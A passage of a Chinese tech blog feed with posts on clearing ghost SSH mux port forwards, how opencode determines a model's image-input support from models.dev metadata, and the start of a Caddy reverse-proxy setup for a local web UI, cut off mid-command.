&lt;p&gt;OpenSSH 的 mux 转发由 master 统一持有：&lt;strong&gt;client 断开后，master 不会自动撤销它注册的转发&lt;&#x2F;strong&gt;（master 无法判断还有没有别的 client 在依赖它）。加上 &lt;code&gt;ControlPersist 1h&lt;&#x2F;code&gt;（且 VS Code 一直占用 master），master 会一直活着：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;19:44:34  unit 启动，ssh 加入 master，master listen 3080
19:44:3x  unit 进程退出（任何原因：stop、断链、干净退出）
         --collect 回收 unit，systemctl 查无此 unit
         master 继续活着，3080 监听继续挂着 ← 幽灵监听诞生
之后      stop 报&amp;quot;未在运行&amp;quot;，start 报&amp;quot;端口被占用&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;端口要等 &lt;strong&gt;master 进程死亡&lt;&#x2F;strong&gt;才释放——而 VS Code 不退出，master 永不退出。死锁。&lt;&#x2F;p&gt;
&lt;p&gt;这个 bug 的普适性值得记住：&lt;strong&gt;凡是&quot;进程 A 替进程 B 干了一件事（监听端口、持有资源），但资源生命周期的开关却在 A 手里&quot;的场景，都会出现这种幽灵资源&lt;&#x2F;strong&gt;。mux 复用的性能收益（免握手、共享连接）换来的就是这个副作用。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shou-shu-dao-ssh-o-cancel-zhi-zhai-zhuan-fa-bu-dong-master&quot;&gt;手术刀：&lt;code&gt;ssh -O cancel&lt;&#x2F;code&gt; 只摘转发，不动 master&lt;&#x2F;h1&gt;
&lt;p&gt;杀 master 是钝刀子（VS Code 会话会断）。正确工具是 &lt;strong&gt;control command&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ ssh -O cancel -L 3080:127.0.0.1:3080 user@192.168.1.10
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;-O&lt;&#x2F;code&gt; 命令走的是&lt;strong&gt;本地 unix socket&lt;&#x2F;strong&gt;（&lt;code&gt;ControlPath&lt;&#x2F;code&gt;），不发网络包、不触发认证，只是请求 master「撤销 3080 这条转发」。master 关掉那个监听 socket，但 TCP 连接、&lt;code&gt;-D&lt;&#x2F;code&gt; SOCKS、其它 client 一概不受影响：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ lsof -i:3080 -nP | grep LISTEN   # 没了
$ ssh -O check user@192.168.1.10
Master running (pid=206121)          # master 还活着，VS Code 毫发无损
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实测瞬时生效。这相当于给共享 master 上的转发做了一次外科手术。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jiao-ben-xiu-fu-shuang-bao-xian&quot;&gt;脚本修复：双保险&lt;&#x2F;h1&gt;
&lt;p&gt;只手动 cancel 一次治标不治本，修脚本：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-gen-zhi-sui-dao-ssh-du-zhan-lian-jie&quot;&gt;1. 根治：隧道 ssh 独占连接&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;SSH_OPTS=(
    -N
    -L &amp;quot;3080:127.0.0.1:3080&amp;quot;
    -o ControlMaster=no        # 不建 master
    -o ControlPath=none        # 不连任何 master
    -o ExitOnForwardFailure=yes
    ...
)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;ControlMaster=no + ControlPath=none&lt;&#x2F;code&gt; 让隧道的 ssh 永远是&lt;strong&gt;独立连接&lt;&#x2F;strong&gt;：转发由自己进程持有，&lt;code&gt;systemctl stop&lt;&#x2F;code&gt; 杀进程即释放端口，unit 生命周期 = 端口生命周期，不再有第三方。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-dou-di-start-stop-li-de-cancel-zi-yu&quot;&gt;2. 兜底：start &#x2F; stop 里的 cancel 自愈&lt;&#x2F;h2&gt;
&lt;p&gt;历史遗留（或别的脚本复用 mux 挂了转发）时，&lt;code&gt;start&lt;&#x2F;code&gt; 遇到 ssh 进程占着端口就尝试 &lt;code&gt;-O cancel&lt;&#x2F;code&gt; 摘掉再继续，摘不掉才报错；&lt;code&gt;stop&lt;&#x2F;code&gt; 停完 unit 后再检查一次端口，发现 ssh 残留就顺手 cancel：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;port_owner() {
    ss -ltnp 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null | awk -v p=&amp;quot;:3080&amp;quot; &amp;#x27;$4 ~ p&amp;quot;$&amp;quot;&amp;#x27; |
        sed -nE &amp;#x27;s&amp;#x2F;.*users:\(\(&amp;quot;([^&amp;quot;]+)&amp;quot;.*&amp;#x2F;\1&amp;#x2F;p&amp;#x27; | head -1
}

# stop 流程中：
case &amp;quot;$(port_owner)&amp;quot; in
    ssh) ssh -O cancel -L &amp;quot;3080:127.0.0.1:3080&amp;quot; &amp;quot;$REMOTE&amp;quot; ;;
    &amp;quot;&amp;quot;)  ;;   # 本来就干净
    *)   echo &amp;quot;端口被非 ssh 进程占用，未处理&amp;quot; ;;
esac
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证过完整链路：&lt;code&gt;start&lt;&#x2F;code&gt; → 3080 归 unit 自有 ssh 进程（curl 过隧道得到 401 = basicauth 质询，转发功能正常）→ &lt;code&gt;stop&lt;&#x2F;code&gt; → 端口完全释放、master 全程未动。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;层&lt;&#x2F;th&gt;&lt;th&gt;教训&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;ssh&lt;&#x2F;td&gt;&lt;td&gt;共享 mux master 是性能利器，但 &lt;code&gt;-L&lt;&#x2F;code&gt; 转发的生命周期挂在 master 上，client 退出不等于转发撤销；&lt;code&gt;ssh -O cancel&lt;&#x2F;code&gt; 是唯一不伤 master 的摘除手段&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;systemd&lt;&#x2F;td&gt;&lt;td&gt;别让托管进程把关键资源（端口、socket）注册到不受 systemd 管辖的进程上，否则 stop&#x2F;start 语义全部失真&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;排查&lt;&#x2F;td&gt;&lt;td&gt;端口被&quot;幽灵进程&quot;占着时先看进程命令行：&lt;code&gt;[mux]&lt;&#x2F;code&gt; 标记 = 复用 master，立刻去查 &lt;code&gt;~&#x2F;.ssh&#x2F;socket&#x2F;&lt;&#x2F;code&gt; 下对应 ControlPath 的归属&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;预防&lt;&#x2F;td&gt;&lt;td&gt;需要 systemd 严格管理生命周期的隧道，一律 &lt;code&gt;-o ControlMaster=no -o ControlPath=none&lt;&#x2F;code&gt; 独占连接；万不得已共享时，预留 &lt;code&gt;-O cancel&lt;&#x2F;code&gt; 清理路径&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>opencode 如何判断模型是否支持图片——记一次能力判定排查</title>
        <published>2026-08-24T16:41:25+08:00</published>
        <updated>2026-08-24T16:41:25+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/opencode-model-vision-capability/"/>
        <id>https://vercel.juzhong.asia/2026/08/opencode-model-vision-capability/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/opencode-model-vision-capability/">&lt;h2 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h2&gt;
&lt;p&gt;一次对话中我给模型 &lt;code&gt;deepseek-v4-flash-vision-exp&lt;&#x2F;code&gt; 下结论说「该模型不支持图片」——理由是它不在模型目录里。用户纠正:文件实际上声明了图片支持(&lt;code&gt;attachment = true&lt;&#x2F;code&gt;,&lt;code&gt;modalities.input = [&quot;text&quot;, &quot;image&quot;]&lt;&#x2F;code&gt;)。这促使我完整排查了 opencode 的能力判定链路,结论是:&lt;strong&gt;我最初的推断是错的——该模型确实在目录里,且支持图片&lt;&#x2F;strong&gt;。本文记录这整条排查路径。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;opencode-ru-he-pan-duan-mo-xing-zhi-chi-tu-pian&quot;&gt;opencode 如何判断模型支持图片&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-shu-ju-yuan-models-dev-mu-lu&quot;&gt;1. 数据源:models.dev 目录&lt;&#x2F;h3&gt;
&lt;p&gt;模型的元数据来自 &lt;code&gt;https:&#x2F;&#x2F;models.dev&lt;&#x2F;code&gt;(可以 &lt;code&gt;OPENCODE_MODELS_URL&lt;&#x2F;code&gt; 换源),opencode 拉取 &lt;code&gt;&#x2F;api.json&lt;&#x2F;code&gt; 快照缓存到本地:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;&amp;#x2F;&amp;#x2F; packages&amp;#x2F;core&amp;#x2F;src&amp;#x2F;models-dev.ts
const source = Flag.OPENCODE_MODELS_URL || &amp;quot;https:&amp;#x2F;&amp;#x2F;models.dev&amp;quot;
const filepath = path.join(
  Global.Path.cache,
  source === &amp;quot;https:&amp;#x2F;&amp;#x2F;models.dev&amp;quot; ? &amp;quot;models.json&amp;quot; : `models-${Hash.fast(source)}.json`,
)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;Global.Path.cache&lt;&#x2F;code&gt; = XDG cache 目录(global.ts),Linux 上就是 &lt;code&gt;~&#x2F;.cache&#x2F;opencode&#x2F;models.json&lt;&#x2F;code&gt;(我自己机器上 4.3MB)。这个文件和网上能看到的 models.dev 仓库里每个模型的 &lt;code&gt;*.toml&lt;&#x2F;code&gt; &lt;strong&gt;是同一份数据的两种形态&lt;&#x2F;strong&gt;:TOML 是仓库源文件,本地缓存的是 api.json 生成的 JSON 快照,字段一致(如该模型 &lt;code&gt;attachment: true&lt;&#x2F;code&gt;、&lt;code&gt;modalities.input: [&quot;text&quot;,&quot;image&quot;]&lt;&#x2F;code&gt;),只是序列化格式不同——「为什么网上看到的不一样」的答案就在这。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-gui-yi-hua-jin-provider-model&quot;&gt;2. 归一化进 Provider.Model&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;packages&#x2F;opencode&#x2F;src&#x2F;provider&#x2F;provider.ts&lt;&#x2F;code&gt; 把 models.dev + 配置合并成 &lt;code&gt;Provider.Model&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;capabilities: {
  temperature: model.temperature ?? existingModel?.capabilities.temperature ?? false,
  reasoning:  model.reasoning  ?? existingModel?.capabilities.reasoning  ?? false,
  attachment: model.attachment ?? existingModel?.capabilities.attachment ?? false,
  toolcall:   model.tool_call  ?? existingModel?.capabilities.toolcall  ?? true,
  input: {
    image: model.modalities?.input?.includes(&amp;quot;image&amp;quot;) ?? existingModel?.capabilities.input.image ?? false,
    text:  ...,
    pdf:   ...,
  },
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意优先级:&lt;strong&gt;配置值 &lt;code&gt;??&lt;&#x2F;code&gt; models.dev 值 &lt;code&gt;??&lt;&#x2F;code&gt; 默认值&lt;&#x2F;strong&gt;——这也是「配置可以只覆盖一部分」的秘密。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-yun-xing-shi-qiang-zhi-unsupportedparts&quot;&gt;3. 运行时强制:unsupportedParts&lt;&#x2F;h3&gt;
&lt;p&gt;真正干活的是 &lt;code&gt;packages&#x2F;opencode&#x2F;src&#x2F;provider&#x2F;transform.ts&lt;&#x2F;code&gt; 的 &lt;code&gt;unsupportedParts()&lt;&#x2F;code&gt;:把每条 user 消息里的 &lt;code&gt;file&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;image&lt;&#x2F;code&gt; part 按 MIME 映射到 modality,若 &lt;code&gt;model.capabilities.input[modality]&lt;&#x2F;code&gt; 为 false,就把该 part &lt;strong&gt;替换成一条文本错误&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ERROR: Cannot read image (this model does not support image input). Inform the user.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;替换(空 base64 图同理)后&lt;strong&gt;照常发送请求&lt;&#x2F;strong&gt;,模型看到错误文本自行告知用户——所以不支持的类型&lt;strong&gt;不会在 agent 侧直接报错停止&lt;&#x2F;strong&gt;,而是友好降级:媒体不发送、错误送进上下文。调用点:&lt;code&gt;session&#x2F;llm&#x2F;native-runtime.ts&lt;&#x2F;code&gt; 与 &lt;code&gt;session&#x2F;llm.ts&lt;&#x2F;code&gt;。comment 里也印证着这条规则(&lt;code&gt;message-v2.ts&lt;&#x2F;code&gt;):&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Only apply this workaround if the model actually supports that media input - otherwise unsupportedParts() will turn it into a user-visible error.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;attachment-yu-modalities-de-fen-gong&quot;&gt;attachment 与 modalities 的分工&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;attachment&lt;&#x2F;code&gt; = 粗粒度开关:该模型&lt;strong&gt;能不能带附件&lt;&#x2F;strong&gt;(文件&#x2F;图片),主要作为模型元数据&#x2F;UI 层展示;历史上用于门控附件选择器,当前 TUI&#x2F;App 代码已不读它。GitHub Copilot 插件从微软 &lt;code&gt;&#x2F;models&lt;&#x2F;code&gt; 的 &lt;code&gt;supports.vision + supported_media_types&lt;&#x2F;code&gt; 推断出 &lt;code&gt;attachment: true&lt;&#x2F;code&gt;(&lt;code&gt;packages&#x2F;opencode&#x2F;src&#x2F;plugin&#x2F;github-copilot&#x2F;models.ts&lt;&#x2F;code&gt;),DigitalOcean 直接写死 false。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;modalities.input&lt;&#x2F;code&gt; = 细粒度模态清单(还是 &lt;code&gt;output&lt;&#x2F;code&gt; 同样结构),运行时拦截&lt;strong&gt;以它为准&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;结论:两个都要对——&lt;code&gt;attachment: true&lt;&#x2F;code&gt; 但 &lt;code&gt;input&lt;&#x2F;code&gt; 漏写 &lt;code&gt;image&lt;&#x2F;code&gt;,图片仍会在运行时被替换成错误;反过来若 models.dev 只给 attachment 不给 modalities,则默认无 image。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pei-zhi-fu-gai-zhi-xie-yao-gai-de-zi-duan&quot;&gt;配置覆盖:只写要改的字段&lt;&#x2F;h2&gt;
&lt;p&gt;逐字段合并(&lt;code&gt;配置值 ?? models.dev ?? 默认&lt;&#x2F;code&gt;)意味着可以&lt;strong&gt;局部覆盖&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;jsonc&quot; class=&quot;language-jsonc &quot;&gt;&lt;code class=&quot;language-jsonc&quot; data-lang=&quot;jsonc&quot;&gt;&amp;#x2F;&amp;#x2F; ~&amp;#x2F;.config&amp;#x2F;opencode&amp;#x2F;opencode.jsonc
{
  &amp;quot;provider&amp;quot;: {
    &amp;quot;deepseek&amp;quot;: {
      &amp;quot;models&amp;quot;: {
        &amp;quot;deepseek-v4-flash-vision-exp&amp;quot;: {
          &amp;quot;reasoning&amp;quot;: false,
          &amp;quot;limit&amp;quot;: { &amp;quot;context&amp;quot;: 800_000 },
          &amp;quot;options&amp;quot;: { &amp;quot;max_tokens&amp;quot;: 384000 }
        }
      }
    }
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;provider.&amp;lt;id&amp;gt;.models.&amp;lt;modelID&amp;gt;&lt;&#x2F;code&gt; 对应 &lt;code&gt;ConfigProviderV1.Model&lt;&#x2F;code&gt;(&lt;code&gt;packages&#x2F;core&#x2F;src&#x2F;v1&#x2F;config&#x2F;provider.ts&lt;&#x2F;code&gt;),字段全部可选:可覆盖 &lt;code&gt;attachment&lt;&#x2F;code&gt;、&lt;code&gt;reasoning&lt;&#x2F;code&gt;、&lt;code&gt;temperature&lt;&#x2F;code&gt;、&lt;code&gt;tool_call&lt;&#x2F;code&gt;、&lt;code&gt;interleaved&lt;&#x2F;code&gt;、&lt;code&gt;modalities&lt;&#x2F;code&gt;、&lt;code&gt;limit&lt;&#x2F;code&gt;、&lt;code&gt;cost&lt;&#x2F;code&gt;、&lt;code&gt;status&lt;&#x2F;code&gt;、&lt;code&gt;options&lt;&#x2F;code&gt;、&lt;code&gt;headers&lt;&#x2F;code&gt;、&lt;code&gt;variants&lt;&#x2F;code&gt; 等;provider 级还有 &lt;code&gt;whitelist&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;blacklist&lt;&#x2F;code&gt; 过滤整组模型。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;models-json-de-huan-cun-yu-shua-xin&quot;&gt;models.json 的缓存与刷新&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;启动不联网&lt;&#x2F;strong&gt;:&lt;code&gt;populate&lt;&#x2F;code&gt; 优先 &lt;code&gt;loadFromDisk&lt;&#x2F;code&gt; 读缓存,只有文件缺失&#x2F;损坏才 fetch(或走内置 snapshot &#x2F; &lt;code&gt;OPENCODE_MODELS_PATH&lt;&#x2F;code&gt; 指定快照)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;后台轮询&lt;&#x2F;strong&gt;:启动 fork 一个 fiber,立刻跑一次 &lt;code&gt;refresh()&lt;&#x2F;code&gt;,然后每 &lt;strong&gt;60 分钟&lt;&#x2F;strong&gt;一次(Schedule.spaced + forkScoped)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;新鲜度判断&lt;&#x2F;strong&gt;:就一条规则——&lt;code&gt;mtime&lt;&#x2F;code&gt; 距今是否超过 5 分钟 TTL(&lt;code&gt;Duration.minutes(5)&lt;&#x2F;code&gt;);过期才 fetch&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;并发安全&lt;&#x2F;strong&gt;:fetch 前拿跨进程 &lt;code&gt;Flock&lt;&#x2F;code&gt;(key 是 &lt;code&gt;models-dev:&amp;lt;path&amp;gt;&lt;&#x2F;code&gt;),锁内&lt;strong&gt;再查一次&lt;&#x2F;strong&gt; fresh,双重检查防止多进程竞态;写盘是 &lt;code&gt;tmp 文件 + rename&lt;&#x2F;code&gt; 原子替换&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;手动&lt;&#x2F;strong&gt;:&lt;code&gt;opencode models --refresh&lt;&#x2F;code&gt;;&lt;code&gt;OPENCODE_DISABLE_MODELS_FETCH=1&lt;&#x2F;code&gt; 可永久禁用联网刷新&lt;&#x2F;li&gt;
&lt;li&gt;顺带发现:目录里躺着 &lt;code&gt;models.json.&amp;lt;pid&amp;gt;.&amp;lt;ts&amp;gt;.tmp&lt;&#x2F;code&gt; 的历史失败残留,正常现象不影响使用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;因此这个模型在缓存里确实存在(&lt;code&gt;attachment: true&lt;&#x2F;code&gt;,&lt;code&gt;input: [&quot;text&quot;,&quot;image&quot;]&lt;&#x2F;code&gt;),我上一轮&quot;不在 models.dev 所以默认 false&quot;的判断是错的——&lt;strong&gt;元数据判断前先看本地缓存,别凭 ID 猜&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;state-model-json-shi-ling-yi-hui-shi&quot;&gt;state&#x2F;model.json 是另一回事&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;~&#x2F;.local&#x2F;state&#x2F;opencode&#x2F;model.json&lt;&#x2F;code&gt;(XDG state,&lt;code&gt;Global.Path.state&lt;&#x2F;code&gt;)是用户级 UI 状态,和目录&lt;strong&gt;无关但有存在价值&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;recent&lt;&#x2F;code&gt;:最近用过的模型。&lt;code&gt;opencode.json&lt;&#x2F;code&gt; 没配顶层 &lt;code&gt;model&lt;&#x2F;code&gt; 时,&lt;code&gt;Provider.defaultModel()&lt;&#x2F;code&gt; 会逐条读 recent,取第一个 provider+model 都存在的条目当新会话默认模型&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;favorite&lt;&#x2F;code&gt;:收藏,模型选择器置顶用&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;variant&lt;&#x2F;code&gt;:每个模型记住的变体选择(如 &lt;code&gt;deepseek&#x2F;deepseek-v4-pro: &quot;max&quot;&lt;&#x2F;code&gt;,即 reasoning effort),生成请求时注入对应 options&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;cha-kan-mo-xing-ju-ti-pei-zhi&quot;&gt;查看模型具体配置&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;opencode models --verbose           # 全部模型完整 JSON
opencode models deepseek --verbose  # 只列 deepseek,含合并后的 capabilities&amp;#x2F;limit&amp;#x2F;cost&amp;#x2F;options
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;--verbose&lt;&#x2F;code&gt; 打印的就是归一化后的 &lt;code&gt;Provider.Model&lt;&#x2F;code&gt;。其中:&lt;&#x2F;p&gt;
&lt;h3 id=&quot;api-npm-shi-shen-me&quot;&gt;api.npm 是什么&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;api&lt;&#x2F;code&gt; 三元组:&lt;code&gt;id&lt;&#x2F;code&gt;(API 名,用于选项键映射&#x2F;日志)、&lt;code&gt;url&lt;&#x2F;code&gt;(baseURL)、&lt;code&gt;npm&lt;&#x2F;code&gt;(&lt;strong&gt;SDK 实现标识&lt;&#x2F;strong&gt;)。opencode 的 provider 机制是「每个 API 对应一个 AI SDK 实现包」,&lt;code&gt;npm&lt;&#x2F;code&gt; 决定实例化哪个:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;@ai-sdk&#x2F;openai-compatible&lt;&#x2F;code&gt; → &lt;code&gt;packages&#x2F;llm&#x2F;src&#x2F;providers&#x2F;openai-compatible.ts&lt;&#x2F;code&gt;,&lt;code&gt;createOpenAICompatible({ baseURL: api.url })&lt;&#x2F;code&gt;,deepseek 就走这个(&lt;code&gt;url: https:&#x2F;&#x2F;api.deepseek.com&lt;&#x2F;code&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;它还是大量运行时行为分支的判据:&lt;code&gt;supportsMediaInToolResult&lt;&#x2F;code&gt;(anthropic 支持媒体型 tool 结果、bedrock&#x2F;xai 仅图片)、anthropic system 消息缓存、bedrock cachePoint、&lt;code&gt;sdkKey(npm)&lt;&#x2F;code&gt; 重映射 providerOptions 键、openai&#x2F;azure&#x2F;bedrock-mantle&#x2F;copilot 剥离 itemId 等&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;cha-qu-tu-pian-shi-bie-de-liang-tiao-lu&quot;&gt;插曲:图片识别的两条路&lt;&#x2F;h2&gt;
&lt;p&gt;排查过程中用户让识别一张评测表截图。规划路径是外挂 vision 脚本(&lt;code&gt;~&#x2F;.config&#x2F;opencode&#x2F;skills&#x2F;vision&lt;&#x2F;code&gt;,底层模型无原生视觉时用),但用户指出该模型原生支持图片,改用 Read 直接读图——&lt;strong&gt;成功&lt;&#x2F;strong&gt;,证明模型原生视觉通道可用,无需外挂。两条路都能走通,这也验证了能力判定环节的最终结论:这个模型 &lt;code&gt;attachment: true&lt;&#x2F;code&gt; + &lt;code&gt;input: [&quot;text&quot;, &quot;image&quot;]&lt;&#x2F;code&gt; 在 opencode 里就是&quot;支持图片&quot;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;判定依据是&lt;strong&gt;声明式元数据&lt;&#x2F;strong&gt;(models.dev + 配置),不做能力探测&lt;&#x2F;li&gt;
&lt;li&gt;运行时以 &lt;code&gt;capabilities.input&lt;&#x2F;code&gt; 为准,不支持的媒体 part 被&lt;strong&gt;替换为错误文本照常发送&lt;&#x2F;strong&gt;,不中断请求&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;attachment&lt;&#x2F;code&gt;(粗,能否带附件)与 &lt;code&gt;modalities&lt;&#x2F;code&gt;(细,具体模态)分工明确,配置层逐字段覆盖 &lt;code&gt;??&lt;&#x2F;code&gt; 合并&lt;&#x2F;li&gt;
&lt;li&gt;缓存位于 XDG cache,启动读盘、5 分钟 TTL、60 分钟轮询、flock 防止并发&lt;&#x2F;li&gt;
&lt;li&gt;排查教训:先查本地缓存和配置,再下结论——目录里没有 ≠ 不支持&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>caddy 反代 dsh web，让局域网用户也能访问</title>
        <published>2026-08-24T14:37:02+08:00</published>
        <updated>2026-08-24T14:37:02+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/caddy-reverse-proxy-dsh-web-lan/"/>
        <id>https://vercel.juzhong.asia/2026/08/caddy-reverse-proxy-dsh-web-lan/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/caddy-reverse-proxy-dsh-web-lan/">&lt;p&gt;dsh（DeepSeek Harness）的 Web UI 用一条命令就能起：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;npx @deepseek-ai&amp;#x2F;dsh --profile web
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;默认监听 &lt;code&gt;127.0.0.1:3080&lt;&#x2F;code&gt;，只有本机能访问。想实现三个目标：&lt;strong&gt;局域网设备（手机&#x2F;其他电脑）能访问&lt;&#x2F;strong&gt;、&lt;strong&gt;有用户名密码认证&lt;&#x2F;strong&gt;、&lt;strong&gt;传输加密&lt;&#x2F;strong&gt;（basicauth 明文走 HTTP 等于裸奔）。&lt;&#x2F;p&gt;
&lt;p&gt;方案：本机 caddy 反代，&lt;code&gt;tls internal&lt;&#x2F;code&gt; 内部证书 + &lt;code&gt;basicauth&lt;&#x2F;code&gt;。最终链路：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;浏览器(局域网设备) ──https──&amp;gt; caddy:3080 (tls internal + basicauth) ──&amp;gt; 127.0.0.1:3081 (dsh web)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这篇文章记录完整配置和一路踩过的坑。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-duan-kou-gui-hua&quot;&gt;一、端口规划&lt;&#x2F;h2&gt;
&lt;p&gt;caddy 要占 3080，dsh web 就得让位。用 &lt;code&gt;--port&lt;&#x2F;code&gt; 挪到 3081：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;npx @deepseek-ai&amp;#x2F;dsh --profile web --host 127.0.0.1 --port 3081 --no-open
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;用一个 systemd-run 临时服务包起来（&lt;code&gt;dotfiles&#x2F;.my_local&#x2F;bin&#x2F;dsh-web.sh&lt;&#x2F;code&gt;，start&#x2F;stop&#x2F;restart&#x2F;status&#x2F;log 子命令）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemd-run --user --unit=dsh-web --collect \
    --working-directory=&amp;quot;$HOME&amp;quot; \
    --setenv=PATH=&amp;quot;$PATH&amp;quot; \
    --property=Restart=on-failure --property=RestartSec=2 \
    -- &amp;quot;$(command -v npx)&amp;quot; -y @deepseek-ai&amp;#x2F;dsh --profile web \
